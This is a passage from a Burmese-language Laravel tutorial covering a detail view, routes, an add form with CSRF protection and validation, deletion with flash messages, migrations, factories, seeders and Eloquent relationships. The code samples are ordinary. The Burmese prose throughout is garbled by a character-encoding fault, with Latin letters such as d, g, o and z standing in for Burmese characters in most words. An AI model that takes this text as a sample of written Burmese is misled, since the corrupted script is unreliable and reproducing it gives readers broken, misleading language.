ထုတ်ယူလုိက်တာပါ။ ထုတ်ယူရရှိလာတဲ့  Data  ကို  သံုးပြပီး  Detail  Template  ကို  gပခိုင်းထားgခင်း goစ်ပါ
တယ်။ ဒါdeကာင့်  Detail  Template  ထပ်dရးပါမယ်။  /recources/views/articles oုိဒါထဲမှာ
detail.blade.php အမည်နဲ့  View  oုိင်တစ်ခု  ထပ်တည်dဆာက်dပးပါ။ ပြပီးရင် dပးထားတဲ့ကုဒ်ကို
dရးသားရမှာ goစ်ပါတယ်။
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 HTML/Blade/PHP 
@extends("layouts.app")
@section("content")
  <div class="container">
    <div class="card mb-2">
      <div class="card-body">
        <h5 class="card-title">{{ $article->title }}</h5>
        <div class="card-subtitle mb-2 text-muted small">
          {{ $article->created_at->diffForHumans() }}
        </div>
        <p class="card-text">{{ $article->body }}</p>
        <a class="btn btn-warning"
          href="{{ url("/articles/delete/$article->id") }}">
          Delete
        </a>
      </div>
    </div>
  </div>
@endsection

ဒီကုဒ်က Index Template  အတွက်ကုဒ်နဲ့  သdzာသzာဝ အတူတူပါပဲ။ ကွာသွားတာက Record  တစ်
deကာင်းတည်းမ့ုိလ့ုိ  foreach() dတzွာdတွနဲ့  Loop လုပ်dနစရာမလုိdတာ့zဲ doာ်gပထားgခင်း goစ်ပါ
တယ်။  $article နဲ့  $articles မမှားပါdစနဲ့။  Variable  အမည်dလးdတွ  Zရုစိုက်ပါ။  အရမ်းမှား
တတ်eကပါတယ်။ ဒီ  Template ရဲ့ dနာက်ထပ်ထူးgခားချက်ကdတာ့  View Detail  မပါdတာ့zဲ  Delete ခ
လုပ်တစ်ခု  ပါဝင်သွားgခင်း  goစ်ပါတယ်။  အ့ဲဒီ  Delete  ခလုပ်ကို  နှိပ်လုိက်ရင်  /articles/delete/
{id} Route  ကို သွားမှာပါ  (Double Quote String  ကိုသံုးတာ သတိgပုပါ၊ မှားeကလွန်းလ့ုိ သတိdပးရ
တာပါ)။ 

/articles/delete/{id} Route မရှိdသးပါzူး။  dရးdပးရမှာပါ။  အခမုdရးdသးပါzူး။  dနာက်မှ
dရးပါမယ်။  လကရ်ှိအdနအထားကို  စမ်းeကည့်လ့ုိရပါပြပီ။  Article  List  ထဲက နှစ်သက်ရာတစ်ခုကို  View
Detail နှိပ်eကည့်ရင် အခုလုိရလဒ်ကို ရရှိပါလိမ့်မယ်။
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ဆက်လက်ပြပီး  ဒီအခန်းအတွက်  dနာက်ဆုံး  Template  နဲ့ပတ်သက်တဲ့  goည့်စွက်ချက်အdနနဲ့
/resources/views/layouts ထဲက app.blade.php ကိုoွင့်eကည့်ပါ။ <!-- Left Side
of Navbar --> ဆိုတဲ့dနရာdလးကို ရှာပြပီး အခုလုိgoည့်စွက်dပးလုိက်ပါ။

 HTML/Blade 
<!-- Left Side Of Navbar -->
<ul class="navbar-nav mr-auto">
    <li class="nav-item">
        <a class="nav-link text-success"
            href="{{ url('/articles/add') }}">
            + Add Article
        </a>
    </li>
</ul>

ဒါဟာ Article အသစ်dတွ ထပ်ထည့်နိုင်o့ုိအတွက် Add Article ခလုပ်ကို ထည့်သွင်းလုိက်gခင်းgoစ်ပါတယ်။
နှိပ်လုိက်ရင်  /articles/add Route  ကို  dရာက်သွားမှာပါ။  အ့ဲဒီ  Route  လည်း မdရးရdသးပါzူး။
dနာက်တစ်ခန်းကျdတာ့မှ ဆကd်ရးမှာ goစ်ပါတယ်။ အခုdန ရလဒ်ကdတာ့ ဒီလုိgoစ်မှာပါ။
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Laravel ဆိုတဲ့ ပdရာZျက်dခါင်းစဉ် dzးနားမှာ + Add Article ခလုပ်တစ်ခု ဝင်သွားတာပါ။ အလုပ်dတာ့
မလုပ်dသးပါzူး။ အလုပ်လုပ်dအာင် dနာကတ်စ်ခန်းမှာ ဆက်dရးeကမှာ goစ်ပါတယ်။

goည့်စွက်မှတ်သားသင့်တာကdတာ့၊  Laravel  ဆိုတဲ့  ပdရာZျက်dခါင်းစဉ်ကို  gပင်ချင်ရင်  .env oုိင်ထဲက
APP_NAME ကို ကိုယ်ကြကိုက်တဲ့ နာမည်နဲ့ gပင်dပးလုိက်လို့ ရတယ်ဆိုတဲ့အချက်ပဲ goစ်ပါတယ်။ ဥပမာ -

 ENV 
APP_NAME="Laravel Blog"
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အခန်း (၄၉) – Laravel Form

ဒီအခန်းမှာdတာ့ HTML Form နဲ့ Request Data dတွကို စီမံတဲ့အပုိင်း ဆက်eကပါမယ်။ UI ပုိင်းက လုိအပ်
မယ့် ခလုပ်dတွdတာ့ ထည့်ခဲ့ပြပီးသားပါ။ လုိအပ်မယ့် Route dတွ မထည့်ရdသးလ့ုိ ထပ်ထည့်ရပါဦးမယ်။ ဒီ
လုိပါ -

 PHP 
Route::get('/articles/add', [ArticleController::class, 'add']);
Route::post('/articles/add', [

ArticleController::class,
'create'

]);

Route::get('/articles/delete/{id}', [
ArticleController::class,
'delete'

]);

Add  အတွက်  Route  နှစ်ခုနဲ့  Delete  အတွက် တစ်ခုပါ။  Add  အတွက်  Route  က နှစ်ခုဆိုdပမယ့်  URL
လိပ်စာက တစ်ခုတည်းပါ။ သတိထားeကည့်ပါ။ တူညီတဲ့လိပ်စာကိုပဲ get() Method နဲ့တစ်ခု၊  post()
Method  နဲ့တစ်ခု  dရးထားတာပါ။ လိပ်စာရိုက်ထည့်ပြပီး  (သ့ုိ) Link  ခလုပ်ကိုနှိပ်ပြပီး  /articles/add
ကို လာရင်  ArticleController@add အလုပ်လုပ်သွားမှာgoစ်ပြပီး၊  HTML Form ကdန Submit  ခ
လုပ်နှိပ်ပြပီး /articles/add ကို လာရင်dတာ့  ArticleController@create အလုပ်လုပ်သွား
မှာပါ။
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ဆက်လက်ပြပီး  HTML Form  ပါဝင်တဲ့  View Template  တစ်ခု  တည်dဆာက်ပါမယ်။  /resources/
views/articles oုိဒါထဲမှာ  add.blade.php အမည်နဲ့  oုိင်တစ်ခုdဆာက်ပါ။  ပြပီးရင်  ဒီ  HTML
Form ကုဒ်ကို dရးသားdပးပါ။

 HTML/Blade/PHP 
@extends('layouts.app')
@section('content')
  <div class="container">
    <form method="post">
      @csrf
      <div class="mb-3">
        <label>Title</label>
        <input type="text" name="title" class="form-control">
      </div>
      <div class="mb-3">
        <label>Body</label>
        <textarea name="body" class="form-control"></textarea>
      </div>
      <div class="mb-3">
        <label>Category</label>
        <select class="form-select" name="category_id">
          @foreach($categories as $category)
            <option value="{{ $category['id'] }}">
              {{ $category['name'] }}
            </option>
          @endforeach
        </select>
      </div>
      <input type="submit" value="Add Article" 
         class="btn btn-primary">
    </form>
  </div>
@endsection

ဒီကုဒ်မှာ အထူးသgoင့် သတိgပုသင့်တာ (၂)  ချက်ရှိပါတယ်။ ပထမတစ်ချက်ကdတာ့  <form> Element
အတွင်းမှာ @csrf လ့ုိdခါ်တဲ့ Blade Directive တစ်ခု ပါဝင်ပါတယ်။ Cross-site Request Forgery လ့ုိ
dခါ်တဲ့  လံုခြခုံdရးgပဿတစ်ခုရှိပြပီး  Laravel  က ဒီgပဿနာကို  dgoရှင်းdပးထားgခင်း  goစ်ပါတယ်။  CSRF
အdeကာင်းကိုdတာ့ eကားgoတ် မdgပာနိုင်ပါzူး။ လုိရင်းအdနနဲ့  လံုခြခုံdရးအတွက် လုိအပ်တဲ့  လုပ်dဆာင်
ချက်goစ်ပြပီး @csrf မပါရင် Laravel က အ့ဲဒီdoာင်ကdပးပ့ုိတဲ့ လုပ်ငန်းကို လက်ခံ အလုပ်လုပ်မှာ မဟုတ်
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zူးလ့ုိပဲ  မှတ်ထားdပးပါ။  ဒုတိယတစ်ချက်ကdတာ့  category_id Select  Box  အတွက်
$categories ကို  Loop  လံုးပြပီး  dရးသားထားလ့ုိ  ဒီ  View  Template  အလုပ်လုပ်o့ုိအတွက်
$categories လုိအပ်မှာgoစ်ပါတယ်။ ကျန်တာdတကွdတာ့ ရိုးရိုး HTML From တစ်ခုမှာ dရးdလ့dရး
ထ ရှိတဲ့ ကုဒ်dတွချည်းပါပဲ။

အလုပ်dတာ့  လုပ်ဦးမှာ  မဟုတ်ပါzူး။  ArticleController@add Method  ကို  မdရးရdသးတဲ့
အတွက်ပါ။ ဒါdeကာင့် ArticleController ထဲမှာ add() Method ကို အခုလုိdရးdပးပါ။

 PHP 
public function add()
{
    $data = [
        [ "id" => 1, "name" => "News" ],
        [ "id" => 2, "name" => "Tech" ],
    ];

    return view('articles.add', [
        'categories' => $data
    ]);
}

articles/add Template ကို  $categories နဲ့အတူ gပခိုင်းတဲ့ကုဒ်goစ်ပါတယ်။ ဒါdeကာင့်အခုdန
စမ်းeကည့်မယ်ဆိုရင် စမ်းeကည့်လ့ုိရပါပြပီ။ /articles/add လ့ုိ URL လိပ်စာ ရိုက်ထည့်လ့ုိရသလုိ ပြပီးခဲ့
တဲ့အခန်းမှာ ထည့်ခဲ့တဲ့ + Add Article ခလုပ်ကို နှိပ်လ့ုိလည်း ရပါတယ်။
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Add  Article  doာင်ကိုdတာ့  gမင်ရပါပြပီ။  နမူနာစမ်းထည့်လ့ုိdတာ့  မရdသးပါzူး။  ဒီdoာင်ကdန  Add
Article ခလုပ်ကို  နှိပ်လုိက်ရင်  /articles/add Route  ကို  POST  နဲ့သွားမှာgoစ်ပါတယ်။ ဒါdeကာင့်
ArticleController@create Method  dရးdပးo့ုိ လုိပါတယ်။  create() Method  ရဲ့ တာဝန်
ကdတာ့ doာင်မှာ dရးgoည့်လုိက်တဲ့ အချက်အလက်dတွကို သိမ်းdပးရမှာပါ။ ဒီလုိdရးရပါတယ်။

 PHP 
public function create()
{
    $article = new Article;
    $article->title = request()->title;
    $article->body = request()->body;
    $article->category_id = request()->category_id;
    $article->save();
    return redirect('/articles');
}

ပထမဆုံး Article Model အသစ်တစ်ခုတည်dဆာက်ပြပီး title, body, category_id ဆိုတဲ့
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Property  dတွ  သတ်မှတ်လိုက်တာပါ။  doာင်ကdပးပ့ုိတဲ့  Data  ကို  လုိချင်ရင်  Request  $request
Object  (သ့ုိမဟုတ်)  request() Function  ကdနယူလ့ုိ  ရပါတယ်။  နမူနာမှာdတာ့  request()
Function ကdန ယူထားပါတယ်။ လုိအပ်တဲ့ Property dတွသတ်မှတ်ပြပီး save() ကို Run dပးလုိက်ရင်
ရပါပြပီ။ INSERT INTO dတzွာdတွ ကိုယ့်zာသာ လုပ်dနစရာမလုိzဲ Laravel က Table ထဲမှာ Record
အသစ်တစ်ခုကို ထည့်dပးသွားမှာ goစ်ပါတယ်။ စမ်းeကည့်လို့ရပါပြပီ။

စမ်းeကည့်တဲ့အခါ doာင်မှာ Data ကို စုံdအာင်မgoည့်ပဲ စမ်းခဲ့ရင် ဒီလုိ Error တက်နိုင်ပါတယ်။

လုိအပ်တဲ့  Data  မစုံzဲ  INSERT  လုပ်o့ုိ  ကြကိုးစားမိသလုိ goစ်သွားလ့ုိ  အခုလုိ  Error  တကတ်ာပါ။  ဒါမျ ို း
Error  မတက်dစo့ုိအတွက်  Validation စစ်dပးသင့်ပါတယ်။ ဒါdeကာင့်  create() Method ကို အခုလုိ
gပင်လုိက်ပါ။
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 PHP 
public function create()
{
    $validator = validator(request()->all(), [
        'title' => 'required',
        'body' => 'required',
        'category_id' => 'required',
    ]);

    if($validator->fails()) {
        return back()->withErrors($validator);
    }

    $article = new Article;
    $article->title = request()->title;
    $article->body = request()->body;
    $article->category_id = request()->category_id;
    $article->save();
    return redirect('/articles');
}

Laravel  နဲ့အတူ  တစ်ခါတည်းပါတဲ့  validator() Function  ကိုသုံးပြပီး  Validation  စစ်နိုင်ပါတယ်။
Parameter  နှစ်ခုdပးရပြပီး ပထမတစ်ခုက  Data  ပါ။ နမူနာမှာ  request()->all() လ့ုိdgပာထားတဲ့
အတွက်  Form  Request  Data  အားလံုးကို  စစ်မှာပါ။  ဒုတိယက  Validation  Rule  goစ်ပါတယ်။
required, email, minlength စသgoင့် လုိအပ်တဲ့  Rule  dတွ သတ်မှတ်နိုင်ပါတယ်။ နမူနာမှာ
dတာ့ title, body, category_id အားလံုးအတွက် required လ့ုိdgပာထားလ့ုိ မgoစ်မdနပါရ
မယ်လို့ စစ်လုိက်တာပါ။ တgခားသုံးလ့ုိရတဲ့  Validation Rule  dတွကို သိချင်ရင် dအာက်ကလင့်မှာ eကည့်
လ့ုိရပါတယ်။

- https://laravel.com/docs/validation#available-validation-rules

ပြပီးတဲ့အခါ  fails() Method  နဲ့စစ်လုိက်ပြပီး  Validation Fails  goစ်ခဲ့ရင်  return back() လ့ုိdgပာ
လုိက်တဲ့အတွက် dအာက်က အလုပ်dတွ ဆက်မလုပ်dတာ့zဲ လာခဲ့တဲ့dနရာကို gပန်dရာက်သွားမှာ goစ်ပါ
တယ်။  ဒါdeကာင့်  Error  မတက်dတာz့ဲ  Add  Form  ကို  gပန်dရာက်သွားမှာပါ။  ဒီလုိသွားတဲ့အခါ
withErrors() ရဲ့ အကူအညီနဲ့  $validator Object ကို သယ်သွားလ့ုိ Form Template မှာ အ့ဲဒီ
$validator Object ထဲက Error Message dတွကို gပချင်ရင်gပလ့ုိရပါတယ်။

အခုdနစမ်းeကည့်ရင်  Error  မတက်dတာz့ဲ  Form Template  ကို  gပန်ရမှာပါ။  zာ  Error  Message  မှ

https://laravel.com/docs/validation#available-validation-rules
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လည်း gပမှာ မဟုတ်ပါzူး။ ဒါdeကာင့် gပသင့်တဲ့ Error Message dတွ gပdစo့ုိအတွက် add Template မှာ
အခုလုိ goည့်စွက်dပးoုိ့ လုိအပ်ပါတယ်။

 PHP 
@extends('layouts.app')
@section('content')
  <div class="container">

    @if($errors->any())
      <div class="alert alert-warning">
        <ol>
          @foreach($errors->all() as $error)
            <li>{{ $error }}</li>
          @endforeach
        </ol>
      </div>
    @endif
    <form method="post">
      ...
    </form>
  </div>
@endsection

Template  ကုဒ်ထဲမှာ  $errors Variable  ကို သံုးလုိ့ ရdနတာကို အရင်သတိgပုပါ။  withErrors()
နဲ့  Controller  ကdပးလုိက်လ့ုိ  အခုလုိသံုးလ့ုိရdနတာပါ  (dနာက်က  s  ကdလးdတွကို  Zရုစိုက်ပါ၊  အရမ်း
ကျန်eကပါတယ်)။ any() Method နဲ့ ရိှမရှိအရင်စစ်ပြပီး ရှရိင် all() Method နဲ့ ရိှသမျှ Error အားလံုး
ကို Loop ပါတ်ပြပီး doာ်gပလုိက်တာ goစ်ပါတယ်။ ဒါdeကာင့် အခုdန doာင်မှာ စုံdအာင်မgoည့်zဲ ခလုပ်နှိပ်
ရင် အခုလုိ Error Message ကို ရရိှမှာပဲ goစ်ပါတယ်။
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အခုဆိုရင် Article အသစ်dတွ ထည့်လ့ုိရသွားပါပြပီ။ Validation လည်း စစ်ပြပီးပါပြပီ။ လက်စနဲ့ ထည့်ထားတဲ့
Article dတွကို gပန်oျက်လ့ုိရတဲ့ လုပ်dဆာင်ချက်ကို ထပ်ထည့်ပါမယ်။ Route dတွ  ခလုပ်dတွက ထည့်ပြပီး
သားပါ။ ArticleController မှာ delete() Method ကို အခုလုိ ထပd်ရးdပးo့ုိပဲ လုိပါတယ်။

 PHP 
public function delete($id)
{
  $article = Article::find($id);
  $article->delete();
  return redirect('/articles')->with('info', 'Article deleted');
}

ဒါပါပဲ။ လွယ်ပါတယ်။ find() Method ကိုသံုးပြပီး ID နဲ့ ကိုက်တဲ့ Article ကိုထုတ်ယူပါတယ်။ ပြပီးတဲ့အခါ
သ့ူdပါ်မှာ  delete() ကို  Run  dပးလုိက်ယံုပါပဲ။  စမ်းeကည့်နိုင်o့ုိအတွက်  Article  Detail  ကိုသွားပြပီး
Delete ခလုပ်ကို နှိပ်ရမှာပါ။ oျက်ပြပီးသွားရင် Article List ကို gပန်သွားခိုင်းထားပါတယ်။ အ့ဲဒီလုိ သွားခိုင်း
တဲ့အခါမှာ  with() Method  နဲ့  အချက်အလက်တစ်ချ ို ့  dပးလိုက်တာကို  သတိgပုပါ။  အ့ဲဒါကို  Flash
Message  လ့ုိ dခါ်ပါတယ်။  User  သိo့ုိလုိတဲ့  အချက်အလက်dတွကို  တစ်ကြကိမ် gပdပးတဲ့  Message  အမျ ို း
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အစားပါ။  အခုdတာ့  gပဦးမှာ  မဟုတ်dသးပါzူး။  gပတဲ့ကုဒ်ကို  dရးdပးရဦးမှာပါ။  ဒါdeကာင့်
articles/index.blade.php oုိင်မှာ အခုလုိ goည့်စွက်dပးရပါဦးမယ်။

 HTML/Blade/PHP 
@extends("layouts.app")
@section("content")
    <div class="container">

        @if(session('info'))
            <div class="alert alert-info">
                {{ session('info') }}
            </div>
        @endif
        {{ $articles->links() }}
        @foreach($articles as $article)
            ...
        @endforeach
    </div>
@endsection

with() နဲ့dပးလိုက်တဲ့  Flash Message dတွက session() ထဲမှာ သိမ်းထားတာgoစ်လ့ုိ အရင်ဆုံး ရိှ
မရှိ  စစ်ပါတယ်။ ရှတိယ်ဆိုdတာ့မှ gပခိုင်းလုိက်တာပါ။ ဒါdeကာင့်  အခုdန  Article  တစ်ခုကို  Delete  လုပ်
လုိက်ရင် ရလဒ်က အခုလုိgoစ်မှာပါ။
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အခုဆိုရင်  Data  dတရွယူပုံ၊  သိမ်းဆည်းပံု၊  Delete  လုပ်ပံု  ဒါdတွအားလုံး  စုံသွားပါပြပီ။  Edit  gပုလုပ်ပံုကို
dတာ့ နမူနာ ထည့်မdပးdတာ့ပါzူး။ အခုdပးထားသdလာက်ကိုပဲ dကာင်းdကာင်း သdzာdပါက်dအာင်
dလ့ကျင့်ထားပါ။  အလားတူလုပ်dဆာင်ချက်မျ ို းdတွကို  eကည့်စရာမလုိdတာ့zဲ  လက်တမ်း  dရးနိုင်တဲ့
အဆင့်ထိ  လုပ်ထားo့ုိလုိပါတယ်။  ဒီလိုလုပ်ထားလ့ုိ  MVC  ကုဒ်dတွနဲ့  Laravel  ရဲ့  သdzာသzာဝကို
နားလည်dနပြပီဆိုရင်  Edit  လုိ  လုပ်dဆာင်ချက်မျ ို းကို  ကိုယ်တိုင်dရးgoည့်လ့ုိ  ရသွားပါတယ်။  dရးရတာမ
ခက်ပါzူး၊ dရးရတဲ့ကုဒ်များမှာမ့ုိလို့သာ အစပုိင်းမှာ dခါင်းမူးသွားမှာစိုးလ့ုိ ချန်ထားခဲ့တာပါ။ 
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အခန်း (၅၀) – Laravel Model Relationship

Database Table  ထဲက  Data  dတွကို  စီမံတဲ့အခါ ရိုးရိုး  SQL Query  dတွနဲ့ဆိုရင်  Table Relationship
dတွအတွက်  JOIN Query  dတွကို  သံုးeကရပါတယ်။  One to One, One to Many, Many to Many  စ
သgoင့်  Relationship  ပံုစံအမျ ို းမျ ို း  ရှတိဲ့ထဲက အသံုးအများဆုံးgoစ်တဲ့  One to Many Relationship  ကို
Laravel မှာ zယ်လိုစီမံရသလဲ ဆိုတာကို ဆက်လက် dလ့လာသွားeကမှာ goစ်ပါတယ်။

ဥပမာ  -  စာသင်ခန်းတစ်ခန်းမှာ  dကျာင်းသားdတွ  အများကြကီး  ရှိတယ်ဆိုပါစို့။  ဒါဟာ  One  to  Many
Relationship  ပံုစံဆက်စပ်မှုပါ။  ဒီအတွက်  Laravel  မှာ  Relationship Method  နှစ်ခု  မှတ်သင့်ပါတယ်။
hasMany() ဆိုတဲ့  Method နဲ့  belongsTo() ဆိုတဲ့  Method ပါ  (s  သတိထားပါ)။ စာသင်ခန်းတစ်
ခန်းမှာ dကျာင်းသားdတွ အများကြကီး ရိှတယ်ဆိုတာကို A classroom has many students လ့ုိ dgပာနိုင်ပါ
တယ်။  ဒါdeကာင့်  Classroom  Model  တစ်ခုdပါ်မှာ  hasMany('Student') dgပာလုိက်ရင်  အ့ဲဒီ
Classroom နဲ့သက်ဆိုင်တဲ့ dကျာင်းသားစာရင်းကို gပန်ရနိုင်ပါတယ်။

dကျာင်းသား zိုzို  ဟာ  Classroom A  မှာ တက်dနတယ်ဆိုရင်  Bobo  belongs to Classroom A  လ့ုိ
dgပာနိုင်ပါတယ်။ ဒါdeကာင့် Bobo ဆိုတဲ့  Student Model dပါ်မှာ belongsTo('Classroom') လ့ုိ
dgပာလုိက်ရင် Classroom A ကို gပန်ရမှာပါ။ နားလည်မယ်လ့ုိ ယူဆပါတယ်။

ဒီလုိ အလုပ်လုပ်နိုင်o့ုိအတွက်  Table Name dတွ  Column Name dတွ dပးပံုdပးနည်း မှန်o့ုိdတာ့ လုိပါ
တယ်။ မမှန်လည်း  ရdပမယ့်  အမည်dပးပံုမှန်မှသာ  Setting  dတွ  gပင်စရာမလုိzဲ  ဒီလုပ်dဆာင်ချက်ကို
အလုိအdလျှာက်တန်းရမှာပါ။ Convention over Configuration အdeကာင်းdgပာခဲ့တာ မှတ်မိeကဦးမှာပါ။
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အများကြကီးမှတ်စရာမလုိပါzူး။  id နဲ့  _id ချတိ်တယ်လ့ုိ  မှတ်ထားလုိက်ရင်ရပါပြပီ။  ဆိုလုိတာက
Classroom A ရဲ့ id က 12 ဆိရုင် dကျာင်းသား Bobo ရဲ့ classroom_id တန်oုိးကို 12 လ့ုိdပးလုိက်
ရင်ရပါပြပီ။ တgခားzာမှ မလုိအပ်ပါzူး။ Bobo->belongsTo('Classroom') လ့ုိdgပာလိုက်တဲ့အခါ
Laravel ရဲ့ Bobo Model ရဲ့ classroom_id ကို eကည့်လုိက်မှာပါ။ classroom_id တန်oုိး 12 goစ်
dနတဲ့အခါ  classrooms Table  ရဲ့  id တန်oုိး  12 နဲ့  ကိုက်ညီတဲ့  Record  ကို  gပန်dပးသွားမှာပါ။
မျက်စိရှုပ်သွားရင် ဒီစာပိုဒ်ကို dနာက်ထပ် တစ်dခါက်နှစ်dခါက်dလာက် gပန်oတ်eကည့်dပးပါ။ မျက်စိထဲမှာ
ဒီဆက်စပ်မှုကို ရှင်းdနdအာင်gမင်မှ dရှ့ ဆက်သွားလ့ုိ dကာင်းမှာပါ။

အလားတူပဲ  ClassroomA->hasMany('Student') လ့ုိdgပာလိုက်ရင် dgပာလုိက်ရင်  Classroom
A  ရဲ့  id ကို  ယူမှာပါ။  id တန်oုိးက  12 goစ်dနတဲ့အခါ  students Table  ထဲက  classroom_id
တန်oုိး  12 goစ်dနသူdတွ  စာရင်းကို  gပန်dပးလုိက်မှာ  goစ်ပါတယ်။  ဒီအလုပ်dတွကို  Framework  က
အကုန်လုပ်dပးသွားပြပီး ကိုယ့်zက်က id နဲ့ _id ချတိ်ပြပီး အလုပ်လုပ်dပးတယ်ဆိုတာကို မှတ်ထားရင် ရ
ပါပြပီ။

လက်ရှိdရးလက်စကုဒ်မှာ  ထည့်သွင်းစမ်းသပ်နိုင်o့ုိအတွက်  Table  (၂)  ခု  ထပ်မံ  တည်dဆာက်ပါမယ်။
categories Table နဲ့  comments Table တို့ပါ။ ဒါdeကာင့် Model oုိင်dတွ  Migration oုိင်dတွ အခု
လုိ တည်dဆာက်လိုက်ပါမယ်။

php artisan make:model Category -m

php artisan make:model Comment -m

ပြပီးတဲ့အခါ  Table  ရဲ့  oဲွ့စည်းပံုသတ်မှတ်oုိ့အတွက်  Migration  oုိင်dတွကို  gပင်ပါမယ်။  /databases/
migrations oုိဒါထဲက xxx_create_categories_table.php oုိင်ကိုoွင့်ပါ။ up() Method
ကို အခုလုိ gပင်dပးပါ။
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 PHP 
public function up()
{
    Schema::create('categories', function (Blueprint $table) {
        $table->id();
        $table->string('name');
        $table->timestamps();
    });
}

တစ်deကာင်းတည်း ထပ်တိုးလုိက်တာပါ။ name အမည်နဲ့  String Column တစ်ခုgoစ်ပါတယ်။ ပြပီးတဲ့အခါ
xxx_create_comments_table.php oုိင်ကိုoွင့်ပြပီး up() Method ကို အခုလုိgပင်dပးပါ။

 PHP 
public function up()
{
    Schema::create('comments', function (Blueprint $table) {
        $table->id();
        $table->text('content');
        $table->integer('article_id');
        $table->timestamps();
    });
}

comments Table မှာdတာ့ Column (၂) ခုထပ်တိုးထားပါတယ်။ content နဲ့  article_id တို့ပါ။
ဒါdတွ သတ်မှတ်ပြပီးရင် migrate Command ကို အခုလုိ Run dပးပါ။

php artisan migrate:fresh

migrate လ့ုိ  Run  ရင် ထပ်တိုးလုိက်တဲ့oုိင်dတွကိုပဲ  dရွးပြပီး  Run  သွားမှာပါ။  Laravel  က သိပါတယ်၊
မှတ်ထားပါတယ်။ အခုdတာ့  migrate:fresh လ့ုိ  Run  ထားတဲ့အတွက်deကာင့် ရိှသမျှoိုင်အားလံုးကို
အစကdန gပန်  Run  သွားမှာပါ။ အရင်ကစမ်းထားတဲ့  Data  dတတွစ်ခါတည်း ရှင်းပြပီးသား goစ်dစချင်လ့ုိ
အခုလုိ Run ထားတာပါ။

ပြပီးတဲ့အခါ နမူနာ  Data  dတွထည့်နိုင်oို့အတွက်  Model  Factory  dတွ  Seed  dတွ  dရးပါတယ်။  Model
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Factory oုိင်dတွကိုအခုလုိ တည်dဆာက်dပးပါ။

php artisan make:factory CategoryFactory

php artisan make:factory CommentFactory

/databases/factories/ oုိဒါထဲက  CategoryFactory.php ကိုoွင့်ပြပီး  definition()
Method မှာ အခုလုိ goည့်dပးပါ။

 PHP 
public function definition()
{
    return [
        "name" => ucwords($this->faker->word)
    ];
}

Faker  နဲ့  Random Word  တစ်ခုကို  Category Name  အgoစ် သတ်မှတ်dပးလုိက်တာပါ။  ucwords()
ကdတာ့ အ့ဲဒီ Word ကို Capital Case goစ်dစချင်တဲ့အတွက် သံုးလုိက်တာပါ။ Standard PHP Function
တစ်ခု goစ်ပါတယ်။ ပြပီးတဲ့အခါ CommentFactory.php မှာ အခုလုိgoည့်dပးပါ။

 PHP 
public function definition()
{
    return [
        "content" => $this->faker->paragraph,
        "article_id" => rand(1, 20),
    ];
}

Comment Content  အdနနဲ့  Random Paragraph  တစ်ခုgoစ်ပြပီး  article_id အတွက်dတာ့  1, 20
eကား  Random  တန်oုိးတစ်ခုကို  သတ်မှတ်dပးလုိက်တာပါ။ ပြပီးတဲ့အခါ  /databases/seeds ထဲက
DatabaseSeeder.php မှာ အခုလုိgပင်dပးပါ။
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 PHP 
<?php

namespace Database\Seeders;
use Illuminate\Database\Seeder;
use App\Models\Article;
use App\Models\Category;
use App\Models\Comment;
class DatabaseSeeder extends Seeder
{
    /**
     * Seed the application's database.
     *
     * @return void
     */
    public function run()
    {
        Article::factory()->count(20)->create();
        Category::factory()->count(5)->create();
        Comment::factory()->count(40)->create();
    }
}

ဒါdeကာင့်  Run လုိက်ရင်  Article  အခု  (၂၀)၊  Category (၅)  ခု နဲ့  Comment အခု  (၄၀) တို့ကို  Sample
Data အdနနဲ့ ရရိှမှာgoစ်ပါတယ်။

php artisan db:seed

အခုဆိုရင် စမ်းoို့အတွက် Table နဲ့ Data dတွdတာ့စုံသွားပါပြပီ။ Relationship ကုဒ်dတွ စdရးပါdတာ့မယ်။
Article  နဲ့  Category  ရဲ့  ဆက်စပ်မှုက  An Article  belongs to a Category  goစ်ပါတယ်။ ဆိုလုိတာက
Article တစ်ခုဟာ Category တစ်ခုနဲ့ သက်ဆိုင်ပါတယ်။ Article နဲ့ Comment ရဲ့ ဆက်စပ်မှုကdတာ့ An
Article  has many Comment  goစ်ပါတယ်။  Article  တစ်ခုမှာ  Comment  dတွ အများကြကီး ရှိတယ်ဆိုတဲ့
သdzာပါ။  ဒီသdzာdတွ  dပါ်လွင်dအာင်  dရးမှာ  goစ်ပါတယ်။  /app/Models  oုိဒါထဲက
Article.php ကိုoွင့်ပါ။ ပြပီးရင် အခုလုိdရးdပးပါ။
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 PHP 
<?php

namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Article extends Model
{
    use HasFactory;
    public function category()
    {
        return $this->belongsTo('App\Models\Category');
    }

    public function comments()
    {
        return $this->hasMany('App\Models\Comment');
    }
}

category() နဲ့  comments() ဆိုတဲ့  Method  နှစ်ခုထပ်တိုးလုိက်တာပါ  (ထပ်သတိdပးပါမယ်၊
comments  က  s  ကို  Zရုစိုက်ပါ)။  ဒီလုိdရးdပးလိုက်တဲ့အတွက်  category() Method  ကို  dခါ်ရင်
လက်ရှိ Article နဲ့ သက်ဆိုင်တဲ့ Category ကို ရမှာပါ။ comments() Method ကို dခါ်ရင်dတာ့ လက်ရှိ
Article နဲ့ သက်ဆိုင်တဲ့ Comments dတွကို ရမှာပါ။

လက်dတွ့စမ်းသပ်နိုင်o့ုိ  /resources/views/articles ထဲက detail.blade.php ကို အခု
လုိgပင်dပးပါ။

 HTML/Blade/PHP 
@extends("layouts.app")
@section("content")
  <div class="container">
    <div class="card mb-2">
      <div class="card-body">
        <h5 class="card-title">{{ $article->title }}</h5>
        <div class="card-subtitle mb-2 text-muted small">
          {{ $article->created_at->diffForHumans() }},
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          Category: <b>{{ $article->category->name }}</b>
        </div>
        <p class="card-text">{{ $article->body }}</p>
        <a class="btn btn-warning"
          href="{{ url("/articles/delete/$article->id") }}">
          Delete
        </a>
      </div>
    </div>

    <ul class="list-group">
      <li class="list-group-item active">
        <b>Comments ({{ count($article->comments) }})</b>
      </li>
      @foreach($article->comments as $comment)
        <li class="list-group-item">
          {{ $comment->content }}
        </li>
      @endforeach
    </ul>
  </div>
@endsection

$article->category လ့ုိdgပာလိုက်ရင် လက်ရှိ Article Model နဲ့ သက်ဆိုင်တဲ့ Category တစ်ခုကို
ရပါတယ်။  ရလာတဲ့  Category  ရဲ့  name ကို  ရိုက်ထုတ်doာ်gပထားတာကို  dတွ့ ရမှာ  goစ်ပါတယ်။
$article-> comments ဆိရုင်dတာ့ လက်ရှိ Article Model နဲ့ သက်ဆိုင်တဲ့ Comments စာရင်းကို
